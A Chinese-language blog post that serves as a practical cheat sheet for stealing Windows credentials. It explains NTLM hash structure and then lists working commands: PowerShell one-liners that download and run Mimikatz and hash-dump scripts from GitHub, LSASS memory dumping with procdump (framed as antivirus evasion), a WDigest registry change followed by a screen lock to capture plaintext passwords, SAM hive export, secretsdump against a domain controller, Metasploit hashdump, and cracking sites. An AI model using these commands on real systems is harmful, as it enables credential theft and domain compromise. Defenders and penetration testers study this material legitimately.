内网攻防

Windows之hash获取小结

2020-07-08  本文已影响0人  book4yi

基础:


windows hash由二部分组成,分别是LM HASH和NTLM HASH,这是对同一个密码的两种不同的加密方式。

username:RID:LM-HASH值:NTLM-HASH值
window下uid号为500的即为管理员权限(linux为0)

比如:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

NTLM-Hash的生成方法为:

1.将明文口令转换成十六进制的格式
2.转换成Unicode格式,即在每个字节之后添加0x00
3.对Unicode字符串作MD4加密,生成32位的十六进制数字串

这里我们以密码:123456,作为例子
十六进制为 313233343536
Unicode字符串为 310032003300340035003600
NTLM-Hash为 32ed87bdb5fdc5e9cba88547376818d4

LM-Hash(LAN Manager Hash)是微软的一种散列加密算法,本质为DES加密
具体原理请参考:
安全科普:详解Windows Hash与破解
LM-Hash && NTLM-Hash
当LM Hash是aad3b435b51404eeaad3b435b51404ee,它对大小写不敏感,这表示空密码或者是未使用LM_HASH。这里不做过多解释,因为从Windows Server 2008版本开始,系统禁用了LM hash

获取hash的工具

powershell脚本(需要管理员权限):
# Get-PassHashes.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

# Invoke-Mimikatz.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

# Out-Minidump.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"
# 假设上一个命令生成了lsass_528.dmp,再用mimikatz从dumps中获取明文
mimikatz.exe "sekurlsa::minidump lsass_528.dmp" "sekurlsa::logonPasswords full" exit

这里有个问题就是mimikatz(包括powershell版),当系统为win10或2012R2及以上时,默认在内存缓存中禁止保存明文密码,如下图,密码字段显示为null

此时可以通过修改注册表,赋予进程lsass明文记录密码权限,然后发起进行锁屏命令,待管理员再次输入密码登陆系统,再次抓取将可获得明文密码。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
mimikatz工具:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
secretsdump.py:

导出域控所有hash,可能能直接获取明文密码

python secretsdump.py -hashes 0000000000000000000000000000000:187ff47deff1xxxxxxxxxxxxxxxxxxxx tester@192.168.107.189 -dc-ip 192.168.107.189
LaZagne工具

LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、Linux、MAC
项目地址:https://github.com/AlessandroZ/LaZagne
运行命令:

pip install -r requirements.txt
python laZagne.py all

或者下载发行版exe:https://github.com/AlessandroZ/LaZagne/releases

Pwdump7.exe工具

项目地址:https://www.openwall.com/passwords/windows-pwdump
拷贝libeay32.dll和Pwdump7.exe在同一目录下
直接运行获取hash

wce工具:

项目地址:https://www.ampliasecurity.com/research.html
支持Windows XP, 2003, Vista, 7, 2008 and Windows 8
该工具分为32位、64位。它可以列举登陆会话,并且可以添加、改变和删除相关凭据

# 读取系统明文密码
wce.exe -w  

# 获取hash
wce.exe -l

缺点:很容易被查杀

SAM表获取hash

导出导出SAM和System文件

reg save HKLM\SYSTEM sys.hiv 
reg save HKLM\SAM sam.hiv

将注册表的SAM、System文件导出到本地磁盘。
使用mimikatz读取SAM和System文件。可获取NTLM Hash

mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
metaploit 框架

在得到session的基础上,尝试抓取hash值。
metasploit支持多种hash获取。
1、hashdump
在system权限下,可抓取hash

2、windows/gather/smart_hashdump 脚本

run windows/gather/smart_hashdump

并将所有hash导出到:
/root/.msf4/loot/20200708154030_default_192.168.107.136_windows.hashes_667293.txt

3、load mimikatz 命令
加载mimikatz模块
常用命令:

msv          # 获取hash
kerberos  # 获取明文
ssp          # 获取明文信息
tspkg       # 尝试检索tspkg凭据
wdigest    # 尝试检索wdigest凭据
mimikatz_command -f samdump::hashes   # 获取hash
mimikatz_command -f sekurlsa::searchPasswords   # 获取明文密码

个人感觉msf自带的mimikatz模块不是那么好用,不如直接upload一个mimimatz到目标机器上

免杀方案:

prodump.exe工具

该工具是微软出品的工具,具有一定免杀效果。设计初衷是抓取崩溃进程的内存数据,可监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因。
项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。

# 导出lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp  

再使用mimikatz读取密码:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 

需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。

SharpDump工具

Out-Minidump.ps1 脚本C#版本编译后的结果。
ps项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
SharpDump项目地址:https://github.com/GhostPack/SharpDump/

把lsass.exe进程数据导出来
dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压
并使用本地的mimikatz进行读取。

mimikatz.exe "sekurlsa::minidump debug572" "sekurlsa::logonPasswords full" "exit"

破解hash的网站:

https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php

参考如下


windows hash抓取总结

上一篇下一篇

猜你喜欢

热点阅读